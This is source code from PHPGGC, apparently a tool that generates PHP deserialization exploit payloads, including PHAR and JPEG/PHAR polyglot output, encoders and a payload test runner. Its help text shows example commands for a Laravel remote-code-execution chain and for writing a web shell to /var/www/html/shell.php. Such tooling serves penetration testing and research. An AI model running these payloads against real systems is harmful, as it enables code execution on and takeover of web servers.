317 | ||
318 | $prefix = ''; | |
319 | $filename = 'test.txt'; | |
320 | $jpeg = null; | |
321 | ||
322 | if(isset($this->parameters['phar-prefix'])) | |
323 | $prefix = file_get_contents($this->parameters['phar-prefix']); | |
324 | if(isset($this->parameters['phar-filename'])) | |
325 | $filename = $this->parameters['phar-filename']; | |
326 | if(isset($this->parameters['phar-jpeg'])) | |
327 | $jpeg = $this->parameters['phar-jpeg']; | |
328 | ||
329 | $class = 'PHPGGC\\Phar\\' . ucfirst($format); | |
330 | ||
331 | $phar = new $class($serialized, compact('prefix', 'filename', 'jpeg')); | |
332 | return $phar->generate(); | |
333 | } | |
334 | ||
335 | /** | |
336 | * Applies command line parameters and options to the gadget chain | |
337 | * parameters. | |
338 | */ | |
339 | protected function process_parameters($gc, $parameters) | |
340 | { | |
341 | $parameters = $this->enhancements->process_parameters($parameters); | |
342 | $parameters = $gc->process_parameters($parameters); | |
343 | return $parameters; | |
344 | } | |
345 | ||
346 | /** | |
347 | * Applies command line parameters and options to the gadget chain object. | |
348 | */ | |
349 | protected function process_object($gc, $object) | |
350 | { | |
351 | $object = $gc->process_object($object); | |
352 | $object = $this->enhancements->process_object($object); | |
353 | return $object; | |
354 | } | |
355 | ||
356 | /** | |
357 | * Applies command line parameters and options to the serialized payload. | |
358 | */ | |
359 | protected function process_serialized($gc, $serialized) | |
360 | { | |
361 | $serialized = $gc->process_serialized($serialized); | |
362 | $serialized = $this->enhancements->process_serialized($serialized); | |
363 | ||
364 | # Phar | |
365 | if(isset($this->parameters['phar'])) | |
366 | $serialized = $this->phar_generate($serialized); | |
367 | ||
368 | # Encoding | |
369 | foreach($this->options as $v) | |
370 | { | |
371 | switch($v) | |
372 | { | |
373 | case 'base64': | |
374 | $serialized = base64_encode($serialized); | |
375 | break; | |
376 | case 'url': | |
377 | $serialized = urlencode($serialized); | |
378 | break; | |
379 | case 'soft': | |
380 | $keys = str_split("%\x00\n\r\t+;"); | |
381 | $values = array_map('urlencode', $keys); | |
382 | $serialized = str_replace($keys, $values, $serialized); | |
383 | break; | |
384 | case 'json': | |
385 | $serialized = json_encode($serialized); | |
386 | break; | |
387 | } | |
388 | } | |
389 | ||
390 | return $serialized; | |
391 | } | |
392 | ||
393 | # | |
394 | # Display | |
395 | # | |
396 | ||
397 | /** | |
398 | * Displays a message. | |
399 | */ | |
400 | function output($message, $r=1) | |
401 | { | |
402 | $n = str_repeat("\n", $r); | |
403 | print($message . $n); | |
404 | } | |
405 | ||
406 | /** | |
407 | * Wrapper for output(). | |
408 | */ | |
409 | protected function o($message, $r=1) | |
410 | { | |
411 | $this->output($message, $r); | |
412 | } | |
413 | ||
414 | protected function e($message) | |
415 | { | |
416 | throw new PHPGGC\Exception($message); | |
417 | } | |
418 | ||
419 | /** | |
420 | * Generates an ASCII array. | |
421 | */ | |
422 | protected function table($titles, $data) | |
423 | { | |
424 | $titles = array_map('strtoupper', $titles); | |
425 | $data = array_merge([$titles], $data); | |
426 | $pad = array_fill(0, count($titles), 0); | |
427 | ||
428 | foreach($data as $row) | |
429 | { | |
430 | foreach($row as $i => $cell) | |
431 | { | |
432 | $pad[$i] = max($pad[$i], strlen($cell)); | |
433 | } | |
434 | } | |
435 | ||
436 | $array = ''; | |
437 | ||
438 | foreach($data as $row) | |
439 | { | |
440 | foreach($row as $i => $cell) | |
441 | { | |
442 | $array .= str_pad($cell, $pad[$i]) . ' '; | |
443 | } | |
444 | $array .= "\n"; | |
445 | } | |
446 | ||
447 | return $array; | |
448 | } | |
449 | ||
450 | /** | |
451 | * Displays a list of gadget chains. | |
452 | */ | |
453 | protected function list_gc() | |
454 | { | |
455 | $this->o(""); | |
456 | $this->o("Gadget Chains"); | |
457 | $this->o("-------------", 2); | |
458 | ||
459 | $titles = [ | |
460 | 'Name', | |
461 | 'Version', | |
462 | 'Type', | |
463 | 'Vector', | |
464 | 'I' | |
465 | ]; | |
466 | ||
467 | $data = []; | |
468 | foreach($this->chains as $chain) | |
469 | { | |
470 | $data[] = [ | |
471 | $chain::get_name(), | |
472 | $chain::$version, | |
473 | $chain::$type, | |
474 | $chain::$vector, | |
475 | ($chain::$informations ? '*' : '') | |
476 | ]; | |
477 | } | |
478 | ||
479 | $this->o($this->table($titles, $data)); | |
480 | ||
481 | exit(0); | |
482 | } | |
483 | ||
484 | /** | |
485 | * Displays the help. | |
486 | */ | |
487 | protected function help() | |
488 | { | |
489 | $this->o(''); | |
490 | $this->o('PHPGGC: PHP Generic Gadget Chains'); | |
491 | $this->o("---------------------------------", 2); | |
492 | ||
493 | $this->o('USAGE'); | |
494 | $this->o(" " . $this->_get_command_line( | |
495 | '[-h|-l|-i|...]', | |
496 | '<GadgetChain>', | |
497 | '[arguments]' | |
498 | ), 2); | |
499 | ||
500 | $this->o('INFORMATION'); | |
501 | $this->o(' -h, --help Displays help'); | |
502 | $this->o(' -l, --list Lists available gadget chains'); | |
503 | $this->o(' -i, --informations'); | |
504 | $this->o(' Displays informations about a gadget chain'); | |
505 | $this->o(''); | |
506 | $this->o('OUTPUT'); | |
507 | $this->o(' -o, --output <file>'); | |
508 | $this->o(' Outputs the payload to a file instead of standard output'); | |
509 | $this->o(''); | |
510 | $this->o('PHAR'); | |
511 | $this->o(' -p, --phar <tar|zip|phar>'); | |
512 | $this->o(' Creates a PHAR file of the given format'); | |
513 | $this->o(' -pj, --phar-jpeg <file>'); | |
514 | $this->o(' Creates a polyglot JPEG/PHAR file from given image'); | |
515 | $this->o(' -pp, --phar-prefix <file>'); | |
516 | $this->o(' Sets the PHAR prefix as the contents of the given file.'); | |
517 | $this->o(' Generally used with -p phar to control the beginning of the generated file.'); | |
518 | $this->o(' -pf, --phar-filename <filename>'); | |
519 | $this->o(' Defines the name of the file contained in the generated PHAR (default: test.txt)'); | |
520 | $this->o(''); | |
521 | $this->o('ENHANCEMENTS'); | |
522 | $this->o(' -f, --fast-destruct'); | |
523 | $this->o(' Applies the fast-destruct technique, so that the object is destroyed'); | |
524 | $this->o(' right after the unserialize() call, as opposed to at the end of the'); | |
525 | $this->o(' script'); | |
526 | $this->o(' -a, --ascii-strings'); | |
527 | $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This'); | |
528 | $this->o(' replaces every non-ASCII value to an hexadecimal representation:'); | |
529 | $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";'); | |
530 | $this->o(' This is experimental and it might not work in some cases.'); | |
531 | $this->o(' -n, --plus-numbers <types>'); | |
532 | $this->o(' Adds a + symbol in front of every number symbol of the given type.'); | |
533 | $this->o(' For instance, -n iO adds a + in front of every int and object name size:'); | |
534 | $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}'); | |
535 | $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +'); | |
536 | $this->o(' -w, --wrapper <wrapper>'); | |
537 | $this->o(' Specifies a file containing either or both functions:'); | |
538 | $this->o(' - process_parameters($parameters): called right before object is created'); | |
539 | $this->o(' - process_object($object): called right before the payload is serialized'); | |
540 | $this->o(' - process_serialized($serialized): called right after the payload is serialized'); | |
541 | $this->o(''); | |
542 | $this->o('ENCODING'); | |
543 | $this->o(' -s, --soft Soft URLencode'); | |
544 | $this->o(' -u, --url URLencodes the payload'); | |
545 | $this->o(' -b, --base64 Converts the output into base64'); | |
546 | $this->o(' -j, --json Converts the output into json'); | |
547 | $this->o(' Encoders can be chained, for instance -b -u -u base64s the payload,'); | |
548 | $this->o(' then URLencodes it twice'); | |
549 | $this->o(''); | |
550 | $this->o('CREATION'); | |
551 | $this->o(' -N, --new <framework> <type>'); | |
552 | $this->o(' Creates the file structure for a new gadgetchain for given framework'); | |
553 | $this->o(' Example: ./phpggc -n Drupal RCE'); | |
554 | $this->o(' --test-payload'); | |
555 | $this->o(' Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.'); | |
556 | $this->o(' The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.'); | |
557 | $this->o(' Warning: This will run your payload on YOUR system !'); | |
558 | $this->o(''); | |
559 | ||
560 | $this->o('EXAMPLES'); | |
561 | $this->o(' ' . $this->_get_command_line( | |
562 | 'Laravel/RCE1', | |
563 | 'system', | |
564 | 'id' | |
565 | )); | |
566 | $this->o(' ' . $this->_get_command_line( | |
567 | 'SwiftMailer/FW1', | |
568 | '/var/www/html/shell.php', | |
569 | '/path/to/local/shell.php' | |
570 | )); | |
571 | $this->o(''); | |
572 | ||
573 | exit(0); | |
574 | } | |
575 | ||
576 | /** | |
577 | * Parses argument $i of $argv, and stores it in parameters or options if | |
578 | * it matches. | |
579 | */ | |
580 | function _parse_cmdline_arg(&$i, &$argv, &$parameters, &$options) | |
581 | { | |
582 | $count = count($argv); | |
583 | ||
584 | # Define valid arguments and their abbreviations, which is generally | |
585 | # their first letter | |
586 | ||
587 | $valid_arguments = [ | |
588 | # Creation | |
589 | 'new' => false, | |
590 | 'test-payload' => false, | |
591 | # Misc | |
592 | 'informations' => false, | |
593 | 'help' => false, | |
594 | 'list' => false, | |
595 | 'output' => true, | |
596 | 'wrapper' => true, | |
597 | # Phar | |
598 | 'phar' => true, | |
599 | 'phar-jpeg' => true, | |
600 | 'phar-prefix' => true, | |
601 | 'phar-filename' => true, | |
602 | # Enhancements | |
603 | 'fast-destruct' => false, | |
604 | 'ascii-strings' => false, | |
605 | 'plus-numbers' => true, | |
606 | # Encoders | |
607 | 'soft' => false, | |
608 | 'json' => false, | |
609 | 'base64' => false, | |
610 | 'url' => false, | |
611 | ]; | |
612 | ||
613 | $abbreviations = []; | |
614 | ||
615 | foreach($valid_arguments as $k => $v) | |
616 | { | |
617 | $abbreviations[$k] = $k{0}; | |
618 | } | |
619 | ||
620 | $abbreviations = [ | |
621 | 'test-payload' => false, | |
622 | 'plus-numbers' => 'n', | |
623 | 'phar-jpeg' => 'pj', | |
624 | 'phar-prefix' => 'pp', | |
625 | 'phar-filename' => 'pf', | |
626 | 'new' => 'N' | |
627 | ] + $abbreviations; | |
628 | ||
629 | # If we are in this function, the argument starts with a dash, so we | |
630 | # can safely remove it | |
631 | $arg = substr($argv[$i], 1); | |
632 | $valid = false; | |
633 | ||
634 | # Find whether given argument is valid and if so, set it as a parameter | |
635 | # or an option | |
636 | ||
637 | foreach($valid_arguments as $argument => $has_parameter) | |
638 | { | |
639 | # Check for short and long arguments (-a, --argument) | |
640 | if( | |
641 | $arg === $abbreviations[$argument] || | |
642 | $arg === '-' . $argument | |
643 | ) | |
644 | { | |
645 | $valid = true; | |
646 | ||
647 | # Does it expect a parameter ? | |
648 | if($has_parameter) | |
649 | { | |
650 | if($count <= $i + 1) | |
651 | { | |
652 | $e = 'Parameter "' . $argument . '" expects a value'; | |
653 | throw new \PHPGGC\Exception($e); | |
654 | } | |
655 | ||
656 | $parameters[$argument] = $argv[$i+1]; | |
657 | $i++; | |
658 | } | |
659 | else | |
660 | { | |
661 | $options[] = $argument; | |
662 | } | |
663 | ||
664 | break; | |
665 | } | |
666 | } | |
667 | ||
668 | if(!$valid) | |
669 | { | |
670 | $this->e('Unknown parameter: -' . $arg); | |
671 | } | |
672 | } | |
673 | ||
674 | /** | |
675 | * Parses the command line arguments. | |
676 | */ | |
677 | protected function parse_cmdline($argv) | |
678 | { | |
679 | # Parameters expect a value, options don't | |
680 | $parameters = []; | |
681 | $options = []; | |
682 | $arguments = []; | |
683 | ||
684 | for($i=1;$i<count($argv);$i++) | |
685 | { | |
686 | $arg = $argv[$i]; | |
687 | # Abort argument parsing | |
688 | if($arg == '--') | |
689 | { | |
690 | $arguments += array_slice($argv, $i); | |
691 | break; | |
692 | } | |
693 | # This is a parameter or an option | |
694 | if(strlen($arg) >= 2 && $arg{0} == '-') | |
695 | $this->_parse_cmdline_arg($i, $argv, $parameters, $options); | |
696 | # This is a value | |
697 | else | |
698 | $arguments[] = $arg; | |
699 | } | |
700 | ||
701 | # Handle options and parameters in case they need to be handled now. | |
702 | ||
703 | foreach($options as $option) | |
704 | { | |
705 | switch($option) | |
706 | { | |
707 | case 'list': | |
708 | $this->list_gc(); | |
709 | return; | |
710 | case 'help': | |
711 | $this->help(); | |
712 | return; | |
713 | case 'new': | |
714 | if(count($arguments) < 2) | |
715 | { | |
716 | $this->o($this->_get_command_line( | |
717 | '--new <Framework> <type>' | |
718 | )); | |
719 | return; | |
720 | } | |
721 | $this->new_gc($arguments[0], $arguments[1]); | |
722 | return; | |
723 | case 'informations': | |
724 | if(count($arguments) < 1) | |
725 | { | |
726 | $this->o($this->_get_command_line('-i <gadget_chain>')); | |
727 | return; | |
728 | } | |
729 | $gc = $this->get_gadget_chain($arguments[0]); | |
730 | $this->o($gc, 2); | |
731 | $this->o($this->_get_command_line_gc($gc)); | |
732 | return; | |
733 | } | |
734 | } | |
735 | ||
736 | foreach($parameters as $key => $value) | |
737 | { | |
738 | switch($key) | |
739 | { | |
740 | case 'phar': | |
741 | if(!in_array($value, ['phar', 'tar', 'zip'])) | |
742 | { | |
743 | $this->e('"' . $value . '" is not a valid PHAR format'); | |
744 | } | |
745 | break; | |
746 | case 'phar-jpeg': | |
747 | if(!isset($parameters['phar'])) | |
748 | { | |
749 | $parameters['phar'] = 'tar'; | |
750 | } | |
751 | else if($parameters['phar'] != 'tar') | |
752 | { | |
753 | $this->e('"--phar-jpeg" implies "--phar tar"'); | |
754 | } | |
755 | # fall through | |
756 | case 'phar-prefix': | |
757 | case 'wrapper': | |
758 | if(!file_exists($value)) | |
759 | { | |
760 | $this->e( | |
761 | $key . ': File "' . $value . '" does not exist' | |
762 | ); | |
763 | } | |
764 | break; | |
765 | } | |
766 | } | |
767 | ||
768 | # Otherwise, store them and return the rest of the command line | |
769 | ||
770 | $this->options = $options; | |
771 | $this->parameters = $parameters; | |
772 | ||
773 | # Return remaining arguments | |
774 | return $arguments; | |
775 | } | |
776 | ||
777 | /** | |
778 | * Convert command line parameters into an array of named parameters, | |
779 | * specific to the type of payload. | |
780 | */ | |
781 | protected function get_type_parameters($gc, $parameters) | |
782 | { | |
783 | $arguments = $gc::$parameters; | |
784 | ||
785 | $values = @array_combine($arguments, $parameters); | |
786 | ||
787 | if($values === false) | |
788 | { | |
789 | $this->o($gc, 2); | |
790 | $this->e( | |
791 | 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" . | |
792 | $this->_get_command_line_gc($gc) | |
793 | ); | |
794 | } | |
795 | ||
796 | return $values; | |
797 | } | |
798 | ||
799 | protected function _get_command_line_gc($gc) | |
800 | { | |
801 | $arguments = array_map(function ($a) { | |
802 | return '<' . $a . '>'; | |
803 | }, $gc::$parameters); | |
804 | return $this->_get_command_line($gc->get_name(), ...$arguments); | |
805 | } | |
806 | ||
807 | private function _get_command_line(...$arguments) | |
808 | { | |
809 | return './phpggc ' . implode(' ', $arguments); | |
810 | } | |
811 | } |
0 | #!/usr/bin/env php | |
1 | <?php | |
2 | # Runs given payload assuming given vector | |
3 | # TODO Add offsetGet, etc. when the time comes | |
4 | ||
5 | error_reporting(E_ALL); | |
6 | ||
7 | if($argc < 2) | |
8 | { | |
9 | print($argv[0] . ' <vector> <base64_payload>' . "\n"); | |
10 | exit(0); | |
11 | } | |
12 | ||
13 | $vector = $argv[1]; | |
14 | $payload = base64_decode($argv[2]); | |
15 | ||
16 | if(file_exists('test.php')) | |
17 | { | |
18 | require('test.php'); | |
19 | exit(0); | |
20 | } | |
21 | if(!file_exists('vendor/autoload.php')) | |
22 | { | |
23 | print('Unable to load either test.php or vendor/autoload.php' . "\n"); | |
24 | exit(-1); | |
25 | } | |
26 | ||
27 | require('vendor/autoload.php'); | |
28 | ||
29 | # The payload must be processed in function of its form: | |
30 | # Phar: Try to get the content of the only file in the PHAR file | |
31 | switch($vector) | |
32 | { | |
33 | case 'phar': | |
34 | $phar = sys_get_temp_dir() . '/phpggc.phar'; | |
35 | file_put_contents($phar, $payload); | |
36 | var_dump(file_get_contents('phar://' . $phar . '/test.txt')); | |
37 | unlink($phar); | |
38 | break; | |
39 | case '__toString': | |
40 | $payload = unserialize($payload); | |
41 | print($payload); | |
42 | break; | |
43 | case '__destruct': | |
44 | case '__wakeup': | |
45 | $payload = unserialize($payload); | |
46 | break; | |
47 | default: | |
48 | print('Unable to test payload via vector "' . $vector . '"' . "\n"); | |
49 | }⏎ |
0 | #!/usr/bin/env php | |
1 | <?php | |
2 | ||
3 | error_reporting(E_ALL); | |
4 | ||
5 | require_once('lib/PHPGGC.php'); | |
6 | ||
7 | $x = new PHPGGC(); | |
8 | ||
9 | try | |
10 | { | |
11 | $x->generate(); | |
12 | } | |
13 | catch(\PHPGGC\Exception $e) | |
14 | { | |
15 | print("ERROR: " . $e->getMessage() . "\n"); | |
16 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\{NAME}; | |
3 | ||
4 | class {CLASS_NAME} extends \{BASE_CLASS_NAME} | |
5 | { | |
6 | public static $version = ''; | |
7 | public static $vector = ''; | |
8 | public static $author = ''; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | ||
13 | } | |
14 | }⏎ |